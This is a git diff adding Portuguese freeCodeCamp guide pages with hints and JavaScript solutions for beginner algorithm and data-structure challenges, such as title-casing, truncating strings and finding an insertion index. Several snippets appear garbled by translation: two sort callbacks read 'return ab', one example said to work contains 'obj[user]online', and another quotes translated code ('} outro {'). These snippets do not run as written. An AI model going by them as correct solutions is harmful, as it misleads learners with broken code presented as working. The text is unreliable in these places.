+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Temos que devolver uma frase com o título do caso. Isso significa que a primeira letra estará sempre em maiúscula e o restante em minúsculas.
+
+#### Links Relevantes
+
+*   [Objeto String Global](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+*   [Protótipo de Cadeia JS ToLowerCase](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+*   [Protótipo de seqüência JS ToUpperCase](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950)
+*   [Substituição de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Você deve começar dividindo a string em uma matriz de palavras.
+*   Divida a frase.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+*   Você deve tornar a palavra minúscula antes de fazer a primeira letra maiúscula.
+*   Use o método replace em cada palavra para capitalizar a primeira letra de cada palavra.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+*   Você precisará criar uma nova string com partes da anterior e, no final, mesclar tudo em uma única string novamente.
+*   No método replace, dê o primeiro argumento como a posição da primeira letra usando charAt. Para o segundo argumento, escreva uma função para retornar a letra maiúscula como substituta.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+String.prototype.replaceAt = function(index, character) { 
+    return this.substr(0, index) + character + this.substr(index+character.length); 
+ }; 
+ 
+ function titleCase(str) { 
+    var newTitle = str.split(' '); 
+    var updatedTitle = []; 
+    for (var st in newTitle) { 
+        updatedTitle[st] = newTitle[st].toLowerCase().replaceAt(0, newTitle[st].charAt(0).toUpperCase()); 
+    } 
+    return updatedTitle.join(' '); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/8)
+
+### Explicação do código:
+
+Estamos modificando a função `replaceAt` usando o protótipo para facilitar o uso do programa.
+
+Divida a string por espaços em branco e crie uma variável para rastrear o título atualizado. Em seguida, usamos um loop para transformar o primeiro caractere da palavra em maiúsculas e o restante em minúsculas. criando uma string concatenada composta de toda a palavra em minúsculas com o primeiro caractere substituído por maiúsculas.
+
+#### Links Relevantes
+
+*   [JS For Loops Explained](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [Divisão de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [JS String Prototype Substr](http://forum.freecodecamp.com/t/javascript-string-prototype-substr/15945)
+*   [Junção de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function titleCase(str) { 
+  var convertToArray = str.toLowerCase().split(" "); 
+  var result = convertToArray.map(function(val){ 
+      return val.replace(val.charAt(0), val.charAt(0).toUpperCase()); 
+  }); 
+  return result.join(" "); 
+ } 
+ 
+ titleCase("I'm a little tea pot"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/9)
+
+### Explicação do código:
+
+Estamos fazendo a string inteira em minúscula e depois convertendo-a em array. Então estamos usando a função map para substituir o caractere minúsculo por maiúsculo. Finalmente, estamos retornando a string usando o método `join` .
+
+#### Links Relevantes
+
+*   [Mapa de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function titleCase(str) { 
+  return str.toLowerCase().replace(/(^|\s)\S/g, (L) => L.toUpperCase()); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/14)
+
+### Explicação do código:
+
+A solução funciona primeiro diminuindo todos os caracteres da string e, em seguida, apenas o primeiro caractere de cada palavra.
+
+*   Minúscula a cadeia inteira usando `str.toLowerCase()` .
+    
+*   Substitua o primeiro caractere de cada palavra para maiúscula usando `.replace` .
+    
+*   Procure por caractere no início de cada palavra, ou seja, corresponde a qualquer caractere após um `space` ou corresponde ao primeiro caractere de toda a cadeia, usando o seguinte padrão.
+    
+*   Explicação de Regex:
+    
+*   Encontre todos os caracteres que não são espaços em branco `(\S` )
+    
+*   No começo da string `(^)`
+    
+*   Ou depois de qualquer caractere de espaço em branco `(\s)`
+    
+    *   O modificador `g` procura outro padrão de palavras em toda a cadeia e as substitui.
+        
+    *   Esta solução funciona com símbolos nacionais e letras acentuadas, conforme ilustrado pelos seguintes exemplos  
+        `international characters:` 'бабушка курит трубку' // -> 'Бабушка Курит Трубку'  
+        `accented characters:` 'località àtilacol' // -> 'Località Àtilacol'
+        
+
+#### Links Relevantes
+
+*   [Recursos JS Regex](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/truncate-a-string/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/truncate-a-string/index.md
new file mode 100644
index 0000000000..9f7ab448f1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/truncate-a-string/index.md
@@ -0,0 +1,101 @@
+---
+title: Truncate a String
+localeTitle: Truncar uma string
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Precisamos reduzir o comprimento da string ou **truncá-** la se ela for maior que os comprimentos máximos especificados e adicionar `...` ao final. Se não for esse tempo, então o mantemos como está.
+
+#### Links Relevantes
+
+*   [String.prototype.slice ()](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/JS-String-Prototype-Slice)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+As strings são imutáveis ​​em JavaScript, então precisaremos de uma nova variável para armazenar a string truncada.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Você precisará usar o método slice () e especificar onde iniciar e onde parar.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Não se esqueça que quando truncamos a palavra, também devemos contar o comprimento adicionado por `...`
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function truncateString(str, num) { 
+  // Clear out that junk in your trunk 
+  if (str.length > num && num > 3) { 
+    return str.slice(0, (num - 3)) + '...'; 
+  } else if (str.length > num && num <= 3) { 
+    return str.slice(0, num) + '...'; 
+  } else { 
+    return str; 
+  } 
+ 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/55)
+
+### Explicação do código:
+
+*   Primeiro, começamos com uma simples declaração `if` para determinar um dos três resultados…
+*   Se o tamanho da nossa string for maior que o `num` que queremos truncar, e o nosso ponto truncado tiver pelo menos três caracteres ou mais na string, retornamos uma fatia da nossa string começando no caractere 0 e terminando na `num - 3` . Em seguida, acrescentamos nosso `'...'` ao final da string.
+*   No entanto, se o tamanho da nossa string for maior que o `num` mas `num` estiver entre os três primeiros caracteres, não precisamos contar nossos pontos como caracteres. Portanto, retornamos a mesma string acima, com uma diferença: o ponto final de nossa fatia agora é apenas `num` .
+*   Finalmente, se nenhuma das situações acima forem verdadeiras, isso significa que o tamanho da nossa string é menor que o `num` do nosso truncamento. Portanto, podemos apenas retornar a string.
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function truncateString(str, num) { 
+  if (str.length <= num) { 
+    return str; 
+  } else { 
+    return str.slice(0, num > 3 ? num - 3 : num) + '...'; 
+  } 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/54)
+
+### Explicação do código:
+
+*   Primeiro, precisamos de uma instrução if para testar se o comprimento da string completa passou como o primeiro argumento já se encaixa dentro do limite de tamanho passado como o segundo argumento. Se assim for, podemos apenas retornar a string que foi passada.
+    
+    if (str.length <= num) return str;
+    
+*   Se a nossa declaração `if` falhar, passamos para o `else` , onde vamos retornar uma "fatia" da string. O método slice extrai uma seção de uma string e retorna uma nova string. Aqui nós passamos 0 como o ponto de partida para a nossa fatia. Para determinar o ponto final, usamos um operador ternário: `num > 3 ? num - 3 : num` . Em nosso ternário, se `num` for maior que 3, devemos fatorar os três pontos em nosso comprimento total e, assim, terminar nossa fatia em `num-3` . Se num for menor ou igual a 3, nossa fatia obtém uma variável final de apenas `num` . Finalmente, o `'...'` é anexado ao final da nova string e é retornado.
+    
+    } outro { return str.slice (0, num> 3? num - 3: num) + '…'; }
+    
+*   **OBSERVAÇÃO** Para entender o código acima, você precisa entender como funciona um Operador Ternário. O Operador Ternário é freqüentemente usado como um atalho para a declaração `if` e segue este formato: `condition ? expr1 : expr2` . Se a `condition` avaliada como verdadeira, o operador retornará o valor de `expr1` . Caso contrário, retorna o valor de `expr2` .
+    
+
+#### Links Relevantes
+
+*   [Operador condicional (ternário)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)
+*   [String.prototype.slice ()](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/JS-String-Prototype-Slice)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/where-do-i-belong/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/where-do-i-belong/index.md
new file mode 100644
index 0000000000..e73fafa3c0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/where-do-i-belong/index.md
@@ -0,0 +1,205 @@
+---
+title: Where Do I Belong
+localeTitle: Onde eu pertenço
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Isso pode ser um problema difícil de entender. Você precisa encontrar onde no array um número deve ser inserido por ordem e retornar o índice para onde ele deve ir.
+
+#### Links Relevantes
+
+*   [Tipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+A primeira coisa a fazer é classificar o array de menor para maior, apenas para facilitar o código. É aqui que o sort vem, ele precisa de uma função de callback, então você precisa criá-lo.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Depois que a matriz é classificada, basta verificar o primeiro número que é maior e retornar o índice.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Se não houver um índice para esse número, você também terá que lidar com esse caso.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function getIndexToIns(arr, num) { 
+  arr.sort(function(a, b) { 
+    return a - b; 
+  }); 
+ 
+  for (var a = 0; a < arr.length; a++) { 
+    if (arr[a] >= num) 
+      return a; 
+  } 
+ 
+  return arr.length; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/36)
+
+## Explicação do código:
+
+*   Primeiro, classifico a matriz usando `.sort(callbackFuntion)` para classificá-la da mais baixa para a mais alta, da esquerda para a direita.
+*   Então eu uso um loop for para comparar os itens na matriz, começando pelo menor. Quando um item na matriz é maior que o número que estamos comparando, então retornamos o índice como um inteiro.
+
+#### Links Relevantes
+
+*   [parseInt ()](http://forum.freecodecamp.com/t/javascript-parseint/14686)
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function getIndexToIns(arr, num) { 
+  // Find my place in this sorted array. 
+  var times = arr.length; // runs the for loop once for each thing in the array 
+  var count = 0; 
+  for (var i=0;i<times;i++){ 
+    if(num>arr[i]){count++;} } // counts how many array numbers are smaller than num 
+    return count; // the above equals num's position in a sorted array 
+ } 
+ 
+ getIndexToIns([40, 60], 50); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/2547)
+
+## Explicação do código:
+
+*   Eu não classifico a matriz de entrada arr
+*   Eu executo uma contagem de loop for sempre que a entrada num for maior que um número de entrada de arr.
+*   Esse número é equivalente a qual posição do num seria em uma matriz classificada.
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+por [@HarinaPana](/u/harinapana)
+```
+function getIndexToIns(arr, num) { 
+ 
+  arr.sort(function(a, b) { 
+  return a - b; 
+  }); 
+ 
+  var i = 0; 
+  while (num > arr[i]) { 
+  i++; 
+  } 
+ 
+  return i; 
+ } 
+ 
+ getIndexToIns([40, 60], 50); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/4135)
+
+## Explicação do código:
+
+*   Classifique o array existente.
+*   Iterar através da matriz, verificando se _num_ é maior.
+*   O loop irá parar quando _num_ não for maior que _i_ e retornar o último elemento selecionado.
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+por [@faustodc](/u/faustodc)
+```
+function getIndexToIns(arr, num) { 
+  arr.push(num); 
+  arr.sort(function(a, b){return ab}); 
+  return arr.indexOf(num); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/EB10/1)
+
+## Explicação do código:
+
+*   Primeiro, adicionamos o número `num` ao array usando `push()` que o adiciona como o último elemento do array.
+*   Em seguida, usamos `sort()` com a função de callback function `function(a, b){return ab}` para ordenar os números em ordem crescente.
+*   Por fim, retornamos a posição ou índice de `num` na matriz com a função `indexOf()` .
+
+#### Links Relevantes
+
+*   [empurrar()](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [ordenar()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)
+*   [índice de()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+**Usando `.findIndex()`**
+```
+function getIndexToIns(arr, num) { 
+  // sort and find right index 
+  var index = arr.sort((curr, next) => curr > next) 
+    .findIndex((currNum)=> num <= currNum); 
+  // Returns proper answer 
+  return index === -1 ? arr.length : index; 
+ } 
+ 
+ getIndexToIns([40, 60], 500); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/63)
+
+## Explicação do código:
+
+*   Primeiro, classifique a matriz em ordem crescente, isso é feito atualmente usando funções de matriz para pegada mínima.
+*   Uma vez que a matriz é ordenada, nós aplicamos diretamente o `.findIndex()` onde vamos comparar todos os elementos na matriz até encontrarmos onde `num <= currNum` significando onde o número que queremos inserir é menor ou igual ao número atual número na iteração.
+*   Em seguida, usamos operações ternárias para verificar se recebemos um índice retornado ou `-1` . Nós só obtemos `-1` quando o índice não foi encontrado significando quando recebemos um falso para todos os elementos na matriz, e para tal caso, isso significaria que `num` deve ser inserido no final da lista, portanto, por que usamos `arr.length` .
+
+#### Links Relevantes
+
+*   [Array.findIndex ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex)
+*   [Funções de seta](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+*   [Operador Ternário](http://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+
+por [@nivrith](/u/nivrith)
+```
+function getIndexToIns(arr, num) { 
+ 
+ return arr.concat(num).sort((a,b) => ab).indexOf(num); 
+ 
+ } 
+ 
+ getIndexToIns([1,3,4],2); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/IUJE/0)
+
+## Explicação do código:
+
+*   Usamos o método de encadeamento para invocar um método após o outro para resolver o problema em uma única linha. Primeiro nós mesclamos `arr` e `num` invocando o método arr.concat (num)
+*   Em seguida, usamos `sort()` com a **função de seta de** retorno de chamada `(a, b) => return ab` para classificar os números em ordem crescente
+*   Por fim, retornamos a posição ou índice de `num` na matriz com o método `indexOf()`
+
+#### Links Relevantes
+
+*   [Método de encadeamento em JavaScript](https://schier.co/blog/2013/11/14/method-chaining-in-javascript.html)
+*   [concat ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/concat?v=example)
+*   [Funções de seta](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/-iterate-through-the-keys-of-an-object-with-a-for...in-statement/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/-iterate-through-the-keys-of-an-object-with-a-for...in-statement/index.md
new file mode 100644
index 0000000000..304c3717e5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/-iterate-through-the-keys-of-an-object-with-a-for...in-statement/index.md
@@ -0,0 +1,69 @@
+---
+title:  Iterate Through the Keys of an Object with a for...in Statement
+localeTitle:  Iterar através das chaves de um objeto com um para ... em declaração
+---
+## Iterar através das chaves de um objeto com um para ... em declaração
+
+Método:
+
+*   Nota: `dot-notation` causará erros neste desafio.
+*   `[square-bracket]` notação `[square-bracket]` deve ser usada para chamar um nome de propriedade variável.
+*   O código a seguir não funcionará.
+
+### Exemplo 1:
+
+```javascript
+for (let user in obj) { 
+    if(obj.user.online === true) { 
+      //code 
+    } 
+  } 
+```
+
+*   O exemplo 2 demonstra como usar a notação `[square-bracket]` o código será executado.
+
+### Exemplo 2:
+
+```javascript
+for (let user in obj) { 
+    if(obj[user]online === true) { 
+      //code 
+    } 
+  } 
+```
+
+### Solução:
+
+```javascript
+let users = { 
+  Alan: { 
+    age: 27, 
+    online: false 
+  }, 
+  Jeff: { 
+    age: 32, 
+    online: true 
+  }, 
+  Sarah: { 
+    age: 48, 
+    online: false 
+  }, 
+  Ryan: { 
+    age: 19, 
+    online: true 
+  } 
+ }; 
+ function countOnline(obj) { 
+  // change code below this line 
+  let result = 0; 
+  for (let user in obj) { 
+    if(obj[user].online === true) { 
+      result++; 
+    } 
+  } 
+  return result; 
+  // change code above this line 
+ } 
+ console.log(countOnline(users)); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-an-arrays-contents-using-bracket-notation/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-an-arrays-contents-using-bracket-notation/index.md
new file mode 100644
index 0000000000..78a4d79c48
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-an-arrays-contents-using-bracket-notation/index.md
@@ -0,0 +1,14 @@
+---
+title: Access an Array's Contents Using Bracket Notation
+localeTitle: Acessar o conteúdo de uma matriz usando a notação de suporte
+---
+## Acessar o conteúdo de uma matriz usando a notação de suporte
+
+*   Lembre-se de que o índice de arrays começa em 0, então a posição de b estará localizada em `myArray[1]` .
+
+## Solução
+
+```javascript
+myArray[1] = "anything we want"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-property-names-with-bracket-notation/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-property-names-with-bracket-notation/index.md
new file mode 100644
index 0000000000..4831e0194c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-property-names-with-bracket-notation/index.md
@@ -0,0 +1,45 @@
+---
+title: Access Property Names with Bracket Notation
+localeTitle: Acessar nomes de propriedades com notação de suporte
+---
+## Acessar nomes de propriedades com notação de suporte
+
+Método:
+
+*   Usando a notação de colchetes, simplesmente escreva a declaração de retorno na função `checkInventory()` .
+*   O bloco de código a seguir demonstra a sintaxe necessária.
+
+## Exemplo:
+
+```javascript
+let juice = { 
+  apple: 1.15, 
+  orange: 1.45 
+ }; 
+ function checkInventory(scannedItem) { 
+  return juice[scannedItem]; 
+ } 
+```
+
+## Solução:
+
+```javascript
+let foods = { 
+  apples: 25, 
+  oranges: 32, 
+  plums: 28, 
+  bananas: 13, 
+  grapes: 35, 
+  strawberries: 27 
+ }; 
+ // do not change code above this line 
+ 
+ function checkInventory(scannedItem) { 
+  // change code below this line 
+  return foods[scannedItem]; 
+ } 
+ 
+ // change code below this line to test different cases: 
+ console.log(checkInventory("apples")); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-to-an-array-with-push-and-unshift/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-to-an-array-with-push-and-unshift/index.md
new file mode 100644
index 0000000000..10528df991
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-to-an-array-with-push-and-unshift/index.md
@@ -0,0 +1,23 @@
+---
+title: Add Items to an Array with push() and unshift()
+localeTitle: Adicionar itens a uma matriz com push () e unshift ()
+---
+## Adicionar itens a uma matriz com push () e unshift ()
+
+*   Assim como o exemplo dado, use o método `.unshift()` na matriz para adicionar elementos ao início da matriz e use o método `.push()` para adicionar elementos ao final da matriz.
+
+## Solução:
+
+```javascript
+function mixedNumbers(arr) { 
+  // change code below this line 
+ arr.unshift('I',2,'three'); 
+ arr.push(7,'VIII', 9); 
+  // change code above this line 
+  return arr; 
+ } 
+ 
+ // do not change code below this line 
+ console.log(mixedNumbers(['IV', 5, 'six'])); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-using-splice/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-using-splice/index.md
new file mode 100644
index 0000000000..8f03c88cdb
--- /dev/null
